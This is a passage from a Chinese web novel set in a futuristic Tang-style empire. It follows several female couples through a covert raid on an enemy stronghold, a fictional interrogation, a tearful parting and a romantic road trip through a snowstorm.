如果向知番的几个据点之间有往来,或许能通过马车来标记出其他据点的位置,那么可能很快就能发现闻声阁的所在地。
曾倾洛所想没错。
听水楼中的几辆马车每日进进出出,不止是做些买卖来掩人耳目,他们还会在多个隐蔽的地点穿梭。
有时是运货,有时只带人手过去,更有时秘密运送大量的材料和粮食,一走就是翻山越岭,不走安全的官道,就走野路。
曾倾洛再次派出侦查鸟查去这几个地点巡查,果然发现了新的据点,甚至还有几处藏兵的农庄。
立刻熬夜再探,再报。
向知番藏在睦州的势力据点逐渐清晰。
这几日侦查鸟在睦州来来回回地飞,都飞到冒烟了。
曾倾洛展开沈逆为她准备的图纸,播放记忆模块里沈逆的教学视频,自个儿拿着工具还真修好了。
为了快些绘制好向知番的势力版图,曾倾洛连着两晚都没怎么睡觉。
本来这是李极的事儿,曾倾洛这么拼,她也没好去睡,更何况曾倾洛不在身边她睡不着,便连夜陪着。
这些日子,她们还真一同住在这小房子里,过上了双妻的生活。
既然要打扮成双妻农妇,就得扮得像一点。
曾倾洛每日趁着侦查鸟在外巡查的时间去卖菜,一直闷在屋子里肯定会引起向知番下属的注意,得多在外面抛头露面,装出为生计忙碌的样子。
曾倾洛出去卖菜的时候,李极时不时会去找她,和她一起经营,趁机暗暗散发精神力,潜移默化间让村子里的人认定她们就是真真正正生活在村子里的小两口。
每次李极往曾倾洛身边一坐,那副好容貌就是化了妆也掩盖不了,整个人菜场无数双眼睛都被她粘了过去。
为了近距离跟她搭句话,看一眼,还有大老远特意来卖菜的。
害得曾倾洛每天准备的菜都不够卖。
李极成了村子里的“白菜西施”。
“白菜西施”没别的事儿干,就在菜场里“说书”,逢人就说她家小妻子当年是如何对她一见钟情,苦苦追她。她一开始还不愿意,最后是小满苦苦哀求,她才勉强嫁了。
李极还跟一些未婚的小娘子传授经验。
“找妻子,不能只看富贵与否,最重要的得看人品如何。会疼人的妻子才是千金不换呐。”
众人用艳羡的眼神看向曾倾洛。
能娶到这么美艳又体贴的妻子,这小小菜农也不知积了几辈子的德。
曾倾洛迎着那些羡慕的目光,只能勉强撑起笑容,暗地里睨口若悬河的李极。
李极根本不在乎被瞪多少眼,越瞪她越喜欢,继续当着本人的面“造谣”。
李极口中的“小满”,是曾倾洛的小名。
以前她阿娘还在世时,总是温柔地唤她小满,为她穿衣,哄她入睡。
阿娘过世后,再也没人这样唤她了。
李极觉得别人叫她“倾洛”,自个儿也这样叫,毫无特殊感,硬是要让曾倾洛告诉她小名,回头行走在村子里的菜场江湖也好使用。
曾倾洛拗不过她,只能跟她说了。
“小满,小满。”
李极琢磨着这个名字。
“真可爱,好适合你。”
曾倾洛的阿娘叫她“小满”,是希望她此生不用大富大贵,“小满胜万全”。
李极得了她的小名,走哪儿叫到哪儿。
夜里亲昵时也喜欢这样叫她,还非让她应。
这许久没回到她生活中的小名被李极时常挂在嘴边,弄得她有点不好意思。
却又有种难以抗拒的归属感。
这些日子曾倾洛忙得很,李极自个儿倒是写写画画相当惬意,曾倾洛也从未说过她半个字。
她再懒惰再放纵,再在外面口无遮拦地编排,再缠着曾倾洛讨糖吃,曾倾洛也都没有意见,甚至会在沉默中默默满足她。
在严厉的教导和失望眼神中长大的李极,活至今日,才真真正正地当了一回“裴寂”,当了一回自己。
农家的生活对于李极而言格外新鲜,每日满世界地宣称曾倾洛有多爱她,说多了曾倾洛也提醒:
“你这般高调,不怕引人注意么?”
李极摇着手里廉价的竹编扇笑道:“我越是这样高调,越是心无城府,就越像村里的住户,向知番的人才更不会起疑心。”
这个观点曾倾洛不得不赞同,的确如此。
越是遮遮掩掩越是可疑,大大方方反而没人感兴趣了。
多亏了李极,每日的菜不到一个时辰就会被抢购一空,遮人眼目的生意还真赚了不少银子回来,意外地过上了自给自足的惬意生活。
卖完菜回来后曾倾洛就会整理侦查鸟传回的数据,沉心绘图建模。
李极则会亲自下厨,像真正的农家双妻一样自己做饭吃。
一开始曾倾洛是拒绝的。
在长安城吃过的炙羊肉和醋芹实在太难忘,李极端上来的食物让曾倾洛警惕,并不敢吃。
李极直接一筷子夹到曾倾洛的嘴边,硬要喂她。
一副她不吃就不罢休的模样。
嗅到李极身上的油烟味,曾倾洛意识到了这平日里半点脏污都不乐意沾到的安王,只知道纵情享乐能躺着绝不坐着的金枝玉叶,居然亲自下庖厨。
不就是咸死人吗?回头多喝点水就好了。
曾倾洛吃了一口。
出乎意料,居然……是正常的味道。
李极:“怎么了,你是完全没想过我会增进厨艺是吗?”
“没。”
“那你刚才怎么一副英勇就义的模样?跟马上要吞毒似的。我若是想毒你,早就毒死你八百回了!”
李极“哼”了一声,靠到椅背上。
曾倾洛没想到,自己就说了一个字也能让她气起来。
曾倾洛正在思索是不是该说句好听话,便听到李极说:
“现在亲我一下,就算你哄我了。”
曾倾洛:……
还没开始愁该怎么哄人,对方就马不停蹄地自己提供了哄人的方案。
曾倾洛被她说得面上发热,“大白天的……”
“大白天的怎么了,咱们又不是没在大白天……”
曾倾洛赶紧吻上去,“好了你别说了。”
曾倾洛吻得太快又太轻,李极都没反应过来就结束了。
“不行,不算,太快了。”
曾倾洛立刻认真吃饭,不搭理李极的纠缠不休。
李极也不冒进,反正现在两人住在一起,有的是时间磨她。
在曾倾洛勤勤恳恳的描绘、输入和修正下,侦查系统将听水楼的结构、兵力的布置和门禁与电网完全破解,建立了内部模型。
如此一来,她们便能和第五阙里应外合,把听水楼拿下。
而闻声阁的地点,侦查系统也提供了几个可疑的坐标,但据点实在太多,暂时无法百分百确定哪个是闻声阁。
李极:“只要拿下听水楼,逼问出闻声阁的位置不是难事。”
曾倾洛让侦查鸟传消息给第五阙,今夜子时二刻,东门的门禁和电网会被解除,彼时正是东门轮班的时候。康逸会带人从东门突入,让第五阙做好准备接应他们。一定要无声无息拿下小院。
在茅房里躲着的第五阙立刻戴上了拳套。
终于来了。
再不来她可真要憋死了!.
一大早,窦璇玑还没醒,身后传来一阵畅快大笑,那笑声在安静的寝屋里完全是爆炸般的效果。
窦璇玑几乎是惊醒。
诧异地回头看,李司人没醒,笑却是她笑的。
窦璇玑:……
半点都不想问这厮到底做了什么美梦,做梦都笑出声。
李司醒了就喊饿,手掌的伤经过一夜更痛了。
窦璇玑帮她挤好牙膏,递到她手中,等她刷完牙又拧热毛巾给她洗脸。
冷脸少女其实很贴心,李司登时有了种新婚双妻间的窝心。
窦璇玑问她朝食想吃点什么。
“估计这小客栈能选的东西不多。”
李司没惦记吃的,环住了窦璇玑的腰。
此刻李司坐着,窦璇玑站在她两膝之间,看她眷恋地将脸贴在小腹上。
窦璇玑知道李司有话要跟她说,她甚至知晓李司想说什么。
李司没有开口。
窦璇玑谢谢她没有真的说出口。
否则,她可能真的忍不住想答应她,跟她回去。
窦璇玑望着渐渐被朝阳染红的海棠花纹琉璃窗,拍了拍李司的脑袋。
“乖狗,我去给你拿吃的。”
被喊“乖狗”还开开心心应下的天子,可能是唐Pro五百多年国祚里唯一的一位了。
窦璇玑来到客栈的小食堂,正好遇到沈逆。
沈逆坐在小桌旁,已经吃上小酥肉了。
她身后的边烬正在帮她等馄饨。
昨晚边烬帮她揉脚踝,揉着揉着人就没能走成,沈逆作威作福了一晚上。
沈逆问她:“李……小乔的伤怎么样了?”
现在天子的名讳真不好随便提。
不得不说,艺名有时候怪好用的。
“就,应该还好吧……”
简简单单一句话,被窦璇玑说出了鬼鬼祟祟的感觉。
沈逆目光在窦璇玑被磨出些血点的唇上停留片刻,立刻明白了。
“恭喜恭喜。”
沈逆悄悄行了个手礼,压低了声音道:
“恭喜皇后娘娘。”
窦璇玑挺没心没肺的一个人,被沈逆这无法无天的称呼弄了个大红脸,抽了沈逆胳膊一下。
边烬买好馄饨,转身时看到沈逆和窦璇玑缩在角落开开心心地叽叽喳喳,不知在说什么。
窦璇玑也去买馄饨了,感觉一碗馄饨不够李司吃,又给她来了一屉包子和一杯豆浆。
统统要两份,她一份李司一份,一模一样的。
拎着两大袋朝食,刚出了小食堂的门,就见李司站在拐角处。
“饿了?”
窦璇玑笑着走上前,发现李司表情落寞。
窦璇玑:“什么事?”
这儿人少,李司没戴帷帽,拉着窦璇玑到角落里说:
“内廷发现我离开长安,追到这儿来了。”
“追到这?高峰林?”
“嗯,仪仗泊在城外,路苍梧和左骁卫就在客栈外等着,要‘押送’我回京。”
窦璇玑一时无言,凝视了她片刻后提了提嘴角。
“那你就回去呗,反正也差不多要回去了。政务要紧。那……”
她把手里的朝食袋子递给李司,“你路上带着吃?”
说完就觉得自己说了句傻话。
李司握着窦璇玑的手腕,不停地用指腹摩挲,说不出又舍不得,犹犹豫豫。
“璇玑,你跟她回去吧。”
不知什么时候出现的沈逆替李司说出了她一直想说的话。
窦璇玑:“可是……”
沈逆拉过她,在她耳边低声道:“我接下来的计划适合单独行动,你在身边我会有顾虑。”
窦璇玑不确定沈逆的计划真是如此,还是为了让她回长安才这么说的。
沈逆眉眼软软的,开心,又不舍。
“当初你二话不说护着我离开长安时,我其实特别感动。但我也不知道什么毛病,这张嘴损人时能说会道,想说点好话费劲得要命。璇玑,你对我的好我都记着,但是,你已经为丽景门活了这么多年,不要再为别人活,好好为自己生活吧。我知道你想跟李司回去。”
“沈逆……”
“回去吧,我也会回去的。说好了春天时再相见,一定会相见。你们在长安等着我。”
……
停在城外的天子仪仗可是让窦璇玑吃了一惊。
八匹钢铁烈马气宇昂昂地立在眼前,拉着巨大的车厢,仿佛把一栋宅子都拉来了。
李司牵着窦璇玑上仪仗时,路苍梧和一众左骁卫都在暗觑窦璇玑。
这不是丽景门那个小队正么?
天子偷跑了十万八千里,就是为了找她?
能坐天子仪仗的,除了天子,那得是皇后啊……
边烬不太方便就没有现身。
沈逆来送她们。
仪仗升空时,沈逆对窦璇玑挥了挥手。
窦璇玑也向她不舍地挥手。
仪仗奔离高峰林,预计一个半时辰后抵达长安城。
在人前端坐半天的李司立刻拉着窦璇玑躺下。
这巨大的车厢里什么都有,有床有净房,还有巨大的食品柜,吃喝玩乐一应俱全,果真是天子才能享受的奢华座驾。
窦璇玑能答应跟她回长安,李司其实非常开心,但她知道窦璇玑不放心沈逆,她也不放心,所以这开心又开得犹犹豫豫。
窦璇玑无心享受帝国最顶级的仪仗,没躺,只是坐在沙发上,透过窗户往下望。
“你说,沈逆所说的计划是什么?她是真的有计划,还是为了劝我回去才这么说的?”
李司为窦璇玑倒一杯果汁,和她坐在一起,宽慰她道:
“臭狐狸的聪明劲儿你还不知道么?再难的事有她在都能化险为夷。况且……对她而言,与边烬在一起,才是最好的归途。”
窦璇玑愁眉难展,视野中一片遮天蔽日的残酷暴雪。
春日再相见。
可是,春日还会来吗?
第158章
窦璇玑离开了,沈逆只身一人也懒得投宿,退了房待在房车里。
边烬来时,沈逆刚好从楼上工作室下来,特意关上了工作室的门。
“药给你。”
边烬专门送药膏来的。
昨晚为她揉了脚踝,效果不错,还得继续用几天。
沈逆不接,关了房车大门,拉着边烬坐上沙发,直接把腿搭在她腿上,指着脚踝。
“师姐帮我看看,还肿肿的。”
边烬:“药膏在这。”
意思是,你自己涂自己揉。
沈逆:“小时候都是你帮我洗的澡,自己养大的孩子有什么好忌讳?”
“不一样。”
“哦,我长大了,哪哪都不一样了。”
边烬的思绪被沈逆的话带的偏离了正常的轨道,情不自禁在脑海中将“长大了”具象化。
昨晚。
她为沈逆揉完脚踝后,沈逆赖在她房间里不走。
边烬提醒道:“很晚了。”
沈逆明明听懂了她的暗示,却硬生生把暗示拐向更危险的地带。
沈逆:“嗯,很晚了,是该睡觉了。”
双妻睡在一起,天经地义。
沈逆启开她的唇,边烬侧过脸想躲,扯动间沈逆蹙眉喊了声“疼”。
边烬:“伤着的不是脚踝吗?”
沈逆圈住她的脖子,“是啊,你一躲,我一追,脚踝又疼了。你不躲我不追,自然不疼。”
沈逆当然在无理取闹,边烬也知道她在无理取闹,最后却还是让她得逞了。
又一次用自己这双抚养她长大的手,触碰了她的肌肤,抱住她的腰肢,温热的水痕划过彼此的指背。
在放纵的夜里与她温存的是成熟的女人,拥有丰腴的身体和让人着迷的魅力。
最后沈逆没离开边烬的房间,也的确是太累了,缩在边烬怀里睡到了早上。
早上去送窦璇玑离开,走了几步路,本来已经不太记得脚伤的事儿了,说也奇怪,边烬一来送药她就想起来了,脚踝还真就争气地又开始痛。
沈逆的长腿横在边烬的大腿上就是不挪窝。
边烬也没辙,只好把她鞋袜脱了,手掌捧起白皙玉足,另一只手沾了药膏,抹在红肿处。
冰凉的药膏划过肌肤,激起一丝丝战栗。
边烬轻轻揉着伤处,“疼了跟我说。”
沈逆:“疼死了,开不了车也走不动路,师姐能一直带着我吗?”
边烬神情依旧清冷如冰,指尖的动作却更轻柔了一些。
“你应该察觉到了。”
“嗯。”
边烬没说察觉到什么,沈逆却读懂了话中的意思。
“继续跟着我的话,不说外部带来的危险,我都有可能失控伤了你。”
所以边烬也发现自己的意识被黑魔方影响了。
沈逆无所谓道:“那不挺好?伤了我那是你欠我的,总比欠别人强。你亏欠了我,往后我便更能继续在你这儿作威作福。我不要你欠别人。”
“阿摇,我在认真说。”
“边烬,我也是在认真说。”
沈逆很少直呼边烬的名字,大多数情况下都是尊称她“师姐”,戏谑或做戏的时候称为“夫人”。
此时明目张胆叫她的大名,有种以下犯上的错位感,微妙的陌生,仿佛重塑了这段早就熟悉的关系。
边烬被沈逆眼里光灼乱了心跳。
沈逆道:“李司在李渃元临死前复制了她的记忆模块,我看到了她是如何放出了黑魔方,又是如何在挣扎痛苦间与黑魔方共生。到最后,她甚至无法确定哪些决定是自己下的,哪些是来自黑魔方。她是双S级精神天赋者,对上还未迭代的黑魔方本体尚且如此,如今已经更为强大的黑魔方吞噬你的意识,控制你的身体只不过是早晚的事。若没有我在你身边,昨夜你可能已经把整趟列车的人杀了。”
边烬眼皮在微微发颤。
沈逆释放着毫不掩饰的坚定和占有欲。
“还是那句话,只有我能修好你。你的同路人只能是我。”.
天色将晚,村子里的村民们早早闭门不出,年轻的寡妇领着女儿回屋。
时间太早,女儿还不想睡,但网费太贵,信号塔前阵子被异兽毁了到现在也没人修。上不了网也没电视看,寡妇便拉着女儿到床上,想给女儿讲故事哄她睡。
女儿道:“那阿娘给我讲白菜西施的故事吧!”
寡妇无言以对,小小年纪听什么白菜西施,带坏小孩。
可是要是不跟她说,小祖宗怕是不肯睡觉,寡妇只好将白菜西施的故事去其糟粕取其精华地讲个大概。
女儿都要睡着了,突然一阵闷响从远处传来。
“阿娘……”女儿害怕地抱住寡妇。
寡妇抽出压在枕头底下的枪,说:“没事,阿娘保护你,别怕。”
这声闷响并非黑魔方作祟。
而是不远处的院子里,第五阙和李极、曾倾洛里应外合拿下了听水楼。
夜里的奇袭非常迅速,不到一刻钟便控制了整个听水楼。
康逸等人把护卫和监工或擒或杀。
管事的被第五阙五花大绑的时候破口大骂:“我就知道你是个祸害!”
第五阙敲他脑袋,“说谁祸害呢,我没给你扛货?没给你当苦力?没给你赚银子?这活干的我腰现在都痛!”
管事的被敲得眼冒金星,不敢说话了。
曾倾洛把他拽到小房间内,逼问他知不知道阿赐在哪。
管事的敷衍道:“阿赐?谁是阿赐?我不知道啊。”
“是吗,那你总该知道闻声阁在何处吧?”
“闻声阁?什么闻声阁,我……”
管事的还想敷衍,一旁的李极一刀插在他大腿上。
李极:“我夫人问你什么你答什么。”
曾倾洛暗瞥她一眼。
演双妻还演得挺入戏。
而且这跋扈又狠辣的手法,让曾倾洛又找回了点裴寂就是安王的真实感。
管事的惨叫还被第五阙踢了一脚,痛得满头是汗,不敢再怠慢。
“闻、闻声阁我是知道,可是你说的阿赐我真不认识!”
李极转了个身,在曾倾洛耳边轻语。
“也有可能,向知番手里人质很多,看上去应该是分布在好几个不同的据点里,他是有可能不知晓。”
曾倾洛投了个地图在他眼前,“闻声阁在哪?”
管事的眼珠转了转,用下巴点了个方位。
曾倾洛:“这儿?”
“对,就是这儿。”
李极又问一遍:“你确定?”
管事的:“确定啊……确定。”
“行,左右两边都在审问,要是你指出的位置和他们不同……”李极把刀从他的腿上拔出,管事的又是一阵哀嚎,李极用刀尖在他的喉咙处比划,“那这把刀会再落在哪儿可就不一定了。”
管事的冷汗浸透了衣襟,见李极她们要出门,他哆哆嗦嗦道:
“等一下……”
三人回头,他哭丧着脸道:“我,我老眼昏花,刚才好像指错了位置。能不能再给我一次机会,重新指一下?”
……
将逼问的结果和康逸和另外一组审讯的结果一对,确定了闻声阁的位置。
其中有一位被严刑拷问的监工还透露,他去过闻声阁,好像的确知道有一个小娘子叫阿赐。
曾倾洛立刻准备派侦察鸟去闻声阁一探究竟。
曾倾洛打算让侦查鸟直接进入闻声阁,若是真的发现阿赐便是最大的喜事,贺兰濯那边就能对向知番下手了。
第五阙已经听李极说了她和贺兰濯的计划,急得她原地转圈。
曾倾洛本来以为第五阙肯定会立刻想去找贺兰濯,劝她的话都在嘴边了,第五阙却没冒冒失失地赶过去。
第五阙道:“她筹谋、潜伏了这么久,如此小心翼翼行事,就是为了等待一个最佳机会,我现在不能贸然去打扰她。我等,我还得等等,等她真正确定要行动了再去助她一臂之力。”
李极:“看着傻,没想到还有点脑子。”
第五阙“哼”了一声道:“当众自爆恶事,也不知道谁傻。”
李极冷笑道:“总比你死在茅房里好。”
曾倾洛无语,“好啦你们别吵了,说正事。我现在就让侦查鸟去闻声阁,可是,阿赐长什么样?总不能让侦查鸟去问人吧?裴寂,你联系一下贺节度使,看看能不能要来阿赐的照片。”
李极:“不用了,我知道她的样貌,我投影给你们看。”
曾倾洛没多问,李极也没说自己是如何知道的。
之前李极没少用阿赐的照片和视频威胁贺兰濯,小娘子什么模样,她一清二楚。
得到了阿赐的样貌,曾倾洛操控侦查鸟飞往闻声阁。
闻声阁是一处书院,是十里八乡唯一一处可以念书的地方。
和听水楼一样,闻声阁也是正经教书育人的地儿,从外看完全看不出是个藏着人质的据点。
曾倾洛等三人挤在屏幕前,紧盯着看画面的每个角落。
忽然,第五阙道:“等一下,你让侦查鸟回来,刚才那个铲雪的小娘子有点像!”
侦查鸟折返,落在树上,正好对着小娘子的正脸。
小娘子看上去和曾倾洛差不多大,穿着书院杂工的衣服,正在仔细把石阶上的雪铲到一旁。清秀的眉眼和贺兰濯的确非常相似。
第五阙兴奋道:“太好了!找到了找到了!真的是她!”
曾倾洛也松了口气,李极立刻传信给贺兰濯:
【阿赐已经找到,可以行动。】
一直藏在暗处的贺兰濯收到李极这封信,手都在颤。
阿赐还活着……
终于等到这一日。
贺兰濯控制住兴奋的轻颤,立刻对繁之说:“预备火油,今晚动手。”
侦查画面还在继续。
有个年龄相仿的小娘子从后面过来,拍了拍阿赐的肩膀。
阿赐回头,那小娘子递给她一个热乎乎的包子,笑着说:“快吃吧!”
阿赐道:“谢谢。”
第五阙:“你们看她的样子,是不是不太像被催眠?”
李极不以为然,“以向知番的精神控制水平来说,深度催眠可以做到只对某件事反复洗脑,比如让其和亲人反目成仇,或者绝对不离开某个地方,其余的行动和思维逻辑也可以一切正常,看不出被催眠的痕迹。”
第五阙:“你们精神天赋者好可怕。”
曾倾洛:“所以,阿赐是被如何洗脑了?”
曾倾洛刚刚发问便有了答案。
小娘子问阿赐:“不是说你阿耶今天会来看你吗?怎么你还在铲雪啊?”
阿赐惆怅地看着远方,“不知道啊……我阿耶没有回我的信。”
曾倾洛问第五阙:“她们姐妹俩的阿耶还健在吗?”
第五阙:“从来没听她说过家里的事儿。”
李极想到向知番有认干儿子、干女儿的爱好,当初那个烦人的河望就是他认的干儿子。
李极脸色有些难看,“不太妙。”.
滞留在高峰林的乘客众多,云衣去买列车的票买不到,轮渡也爆了舱,甚至连公交巴士的票都售罄。
好不容易约到一辆马车,边烬和姐俩站在路边等了半天,马车车主突然取消了订单。
云衣直接连线过去追问,车主支支吾吾说有人直接出高价买了他的车,现在他已经不是车主了。
云衣:“你早说啊,我也可以出高价——”
没等她说完对面就挂断了。
云衣忍了又忍,才没在白御史面前骂脏话。
眼看着远处黑压压的乌云从山那头压过来,暴雪将至,边烬道:“咱们先回客栈,慢慢想办法。”
三人刚要回去,身后一声清脆的鸣笛。
滴——
边烬回头,见戴着墨镜的沈逆从房车驾驶位探出脑袋来。
“这倒霉的天气,车不好搭啊。”
沈逆叹一声。
“白御史,去哪儿?我人美心善,免费载你们去。”
本以为边烬会犹豫,起码要来几下口舌之争才会答应。
没想到边烬很干脆地把装着极少行李的小皮箱从车窗塞进来,回头对云婵和云衣道:
“这些日子辛苦了,之后的行程万分艰险,不要做无畏的牺牲,你们回去吧。”
边烬话中的意思很明显。
诱捕黑魔方的进度趋近于百分百,最最危险的时刻即将到来,她俩的天赋或许无法承受之后的变数。
一直冷静自持的云婵很少焦急,“可是白御史,若我们不在身侧,谁来助你护你?”
边烬的手搭在沈逆的肩头,“我夫人会一直和我在一起。”
言下之意,有沈逆在侧足矣。
沈逆藏在墨镜之后的眼睛闪过一丝诧异,很快,又被欣喜填满。
云婵很失落。云衣在失落的同时,莫名被眼前这画面甜得嘴角莫名上扬。
边烬拉开车门,坐到沈逆身边。
边烬想对云氏姐妹俩说些什么,但她一向笨嘴拙舌,最后将面罩关闭,以真面目相对。
边烬:“有缘再见。”
云氏姐妹心头巨震。
没人不认识边烬,她可是整个帝国一代人的白月光。
这么说起来,她的“妻子”难怪会眼熟,正是靖安侯沈逆。
云婵珍重地向她们行礼,云衣也跟着姐姐拱手。
“有缘再见。”
暴雪果然又至,打开车灯顶着风雪,在一片黑暗中,房车稳稳上路。
沈逆咬了咬堆满笑意的嘴唇,问身边人:
“白御史,你要和你夫人去哪儿?”
边烬乜她,“西北边有一股奇异的黑魔方能量在涌动,似乎在侵吞同类,继续发展下去只怕会诞生应龙级之上的异兽,这让我非常在意。”
“西北边,那是……”
“弦昼国。”
边烬要去弦昼国。
沈逆才不在意她要去哪儿,反正她都会在她身边。
打开电台放音乐。
激昂欢快的音乐充斥着温暖的房车空间,车外的冰天雪地仿佛与她们无关。
沈逆:“为什么?”
没有前言和后语,单单三个字,边烬也知道她在问什么。
为什么不再赶她,为什么愿意与她同行。
车外暴躁如末世的黑沉几乎将边烬的轮廓吞没,却泯灭不了她那双凝视着沈逆的含情双眼。
“你说得对,我离不开你。若非要亏欠我只想亏欠你。而且……我抗拒不了你,我梦里都是你。”
直白的情话让沈逆的心跳几乎在这一刻停滞。
房车在灰蒙蒙的风雪中驶向无尽的长路,但沈逆的心终于抵达了她一直渴望的归宿。
风太烈,车停到一处避风洞内。
热吻的间隙,沈逆抚着边烬的脸庞问她:
“你知道你说这句话意味着什么吗?”
边烬眼睫上沾着水汽,琉璃窗被热雾笼罩,天地都消失了,只有眼前的彼此。
沈逆点着边烬的下巴道:“意味着未来你再说任何谎言,都不可能骗得了我。”
边烬拥抱着怀中人,拥抱着最后的梦。
“我一直都没能骗得过你,不是吗?”
作者有话说:
栓马桩直球表白了[捂脸偷看][捂脸偷看]
第159章
雪暴终于停了。
沈逆在边烬的怀中醒来,拉开车窗帷帐的一角,黎明的晨光铺在她脸庞上,目所能及之处全是皑皑白雪。
要不是边烬还需要前行,沈逆实在懒得起床,恨不能和她在这无人之地安居度日。
车体发热,融化了覆盖在周围的雪,风都静止了般。
万里无云,竟是个大好晴天。
拓展空间终于能派上用场了。
顶层工作室里藏着无脸女和其他不好让边烬发现的东西,门暂时锁住,还是可以展开露天的沙发,两人相对而坐,中间升起一个烤肉的小炉子。
边烬看沈逆把肉和各种蔬菜从冰柜里搬出来,在冰天雪地里烤出让人垂涎欲滴的香味。
头顶上的鹰和隼都被这香味香到纳闷地盘旋。
沈逆知道边烬口味清淡,专门给她支了个小碗,煮了一碗蔬菜粥,再铺个蛋进去,和小勺一起递给边烬。
边烬道了声谢,清淡的暖粥入胃,很舒服。
单独行动或者和云氏姐妹同行时,她自己都是随意吃些充饥的食物,通常都是冷硬的饼,只要吃饱就行,并不在意顺不顺口。云氏姐妹任务完成得很好,但也不是讲究的人。
只有沈逆在身边,才会惦记她吃穿。
是妻子在身侧,才会有的熨帖和家的温馨。
边烬问她:“你怎么会置备这么多食物?”
沈逆给滋滋作响的肉翻了个面。
“一路走一路都在给冰柜补货啊,本来阿阙倾洛璇玑就很能吃,养她们仨和养一支军队没什么区别。就怕需要跑一趟前不着村后不着店的长途会断了粮,有备无患。我还想问你呢,你们战斗天赋者不是食欲都很旺盛么,我看阿阙恨不得用盆吃饭,边烬你怎么吃得这么清淡?”
自从开始叫“边烬”,仿佛成了沈逆的乐趣,喜欢在字里行间里插这两个字进去。
双极楼最没大没小的小师妹,算是将目无尊长的本事修炼得登峰造极。
“我没什么口腹之欲。”
边烬缓缓喝着粥,一口一口很慢,艳阳白雪间,她清正优雅,手中一次性的小碗都被衬托得价格不菲。她身上从容轻缓的气质,让她这句话更加可信。
沈逆心里“嗯”了一声。
没有口腹之欲,所有的欲念都只落在我一个人身上。
“喊你的名字会不会不适应?”
“有点。”
“那我多喊几次,让你适应适应。”
沈逆不止嘴上占便宜,明明有两座位,她还要挤到边烬怀里,非要坐在她双膝中间。
“阿摇。”隐约带了点大师姐的威严,感觉下一息就要教训她。
可是已经被表白过的沈逆,不止再也骗不了她,简直连训都训不了了。
“我冷嘛。”
蛮不讲理,一听就是在撒谎,可即便如此,边烬还是张开了怀抱,将她揽进自己温暖的斗篷内。
“好些了吗?”
沈逆被边烬的纵容弄得心头发热,转头逐着边烬的红唇,凉凉的唇很快被她吻热。
“你说你的梦里都是我,你梦到了什么?”
沈逆在边烬的耳边问。
边烬垂眸浅笑,没说。
沈逆咬她耳朵,“梦到这些?”
边烬就让她咬,认命般“嗯”一声。
坦诚的边烬让沈逆心头失火,柔软的小舌在边烬唇齿间肆无忌惮地挑逗。两人的呼吸交融着,愈发沉重。
感受到边烬因为自己这么快便情动了,那情动却是静静的,耳朵先红,揽她的手掌随后滚烫。
沈逆被边烬抱着转过来,面对着面,吻弄一深再深。
沈逆坐在边烬的右腿上,吻得浑身燥热,长裙落地,发颤的脚尖几乎要点不到地。
磨动到腰肢软得撑不起身子,沈逆伏在边烬的肩头深喘难止。
寒风吹过红透的耳朵,热汗闷得她难受。
边烬不让她再吹冷风,将她抱到房车内。
就以迎面坐着的姿势抱起来,没让沈逆动。
宽松的披肩将她和光溜的沈逆紧紧裹住,右臂横在沈逆的臀下,稳稳托着体重,左手揽着后背,控制着怀中人的平衡。
这分明是多年前抱着小时候她的姿势。
尚在双极楼时,沈逆还没抽条,小小一只就喜欢跟着边烬,边烬去哪儿她就非要跟着去。走累了想睡了,边烬就会这样抱着她,用双手圈出摇篮。
如今沈逆已经二十三岁了,边烬还是这样抱她。
沈逆攥紧披肩,即便身处荒芜之地,她也没有幕天席地赤露着身子的习惯。光洁的肌肤蹭着边烬的衣衫,多少有也有点羞。
沈逆闷在边烬怀里,“我自己会走。”
边烬心里暖烘烘的,忍不住吻她的额头,宠着她,但也揶揄着。
“脚踝不是肿得走不了么?”
沈逆:……
边烬偶尔堵人一句,是真的堵挺狠的。
到了房车内,大块大块的铅云从远处被强风吹过,阳光被阴云切割,仿佛巨大的灯光在天空中转移角度。
划过安静的房车,偶尔照过的窗户里,有两个女人正在热吻的朦胧影子。
边烬被迫张着双唇,沈逆的吻深深浅浅,手掌压在边烬的膝头。
在某一刻,边烬喉咙里隐约发出了声音,忍着欢愉,藏在喉间。
沈逆咬她的喉咙,凌乱的吻痕一个个任性地落在她白皙的脖子上,似想让她出声,也似在落下霸占她的证据。
边烬就任她在自己身上胡作非为。
直到累到两人都动弹不了,沈逆喘着气伏在边烬怀里,边烬抚弄着她潮乎乎的长发。
“是极光。”
透过透明天窗,边烬看到了壮观的极光在夜空中浮动。
沈逆转身,和她一同看向夜空。
“你喜欢极光?”
“嗯,在北境打仗那些年,偶尔能看到极光。每次看到极光就能感受到宇宙的辽阔。置身在宇宙之中,任何的痛苦和恐惧都变得渺小了。”
沈逆用指尖在边烬的锁骨上印下一个半月形的指甲印。
她就知道,在别人看来边烬强大而自持,可边烬也会痛苦,也会恐惧。
沈逆紧紧环着边烬,将脸埋进边烬怀中。
边烬不解地摸摸突然撒娇的沈逆。
“我喜欢你。”
沈逆声音闷闷的。
“你是我这辈子最最重要的人。你去何处,我便要随你去何处。”
一字不差的表白,又一次烫进边烬的心内。
边烬揽着怀里的爱人,看极光迷幻的色彩铺在爱人的脸庞上,热泪闪动,迷魂夺魄。
活着真好。
边烬想活下去,即便这个世界千疮百孔,她也想和沈逆一起活下去。
…….
向知番这几日晚上几乎没能入睡。
刚有一丝睡意就被噩梦惊醒,心跳得难以抑制,无论吃什么药喝什么营养液都无济于事。
他怀疑有人在对他进行精神干扰。
可是,如果有精神力扰乱他的思维,他怎么可能察觉不到?
莫非是用了他想象不到的法子……
连续好几夜无法入睡的痛苦,渐渐撕开向知番的神经,让他越来越衰弱。找不到李极的焦躁也愈发让他心火难消。
还有一件埋在心里,迄今为止没有跟任何人提到的事,也在不断折磨着他。
决定离开长安城去追李极的时候,向知番就跟蔺咏铭说了,不要跟来,城外随时都会有可能碰到异兽,即便没有异兽,还有盗匪横行,非常危险。
可是蔺咏铭就是不放心。
“殿下是贵妃唯一的血脉,我怎么可能放任她不管?我要把她追回来,我要看着她登帝!一切都还来得及!”
蔺咏铭的执念并不比向知番少,甚至已经到了走火入魔的地步。
向知番拦不住她,也实在没有精力与她掰持,她想出城就出城,不再多言。
到了城外,果不其然遇到异兽。
向知番为了紧追李极,眼睁睁地看着蔺咏铭被异兽拽走。
惊天的哭喊声中,他没有回头。
蔺咏铭死的那一刻,他终于卸下了心头的一块大石。
他知道,曾经在宫中对食的往事对于蔺咏铭而言是一段冲动的苟且,是无权无势之人为了能够活下去的迫不得已。
是蔺咏铭不愿提及的丑事,对向知番而言也是极其难堪的一笔。
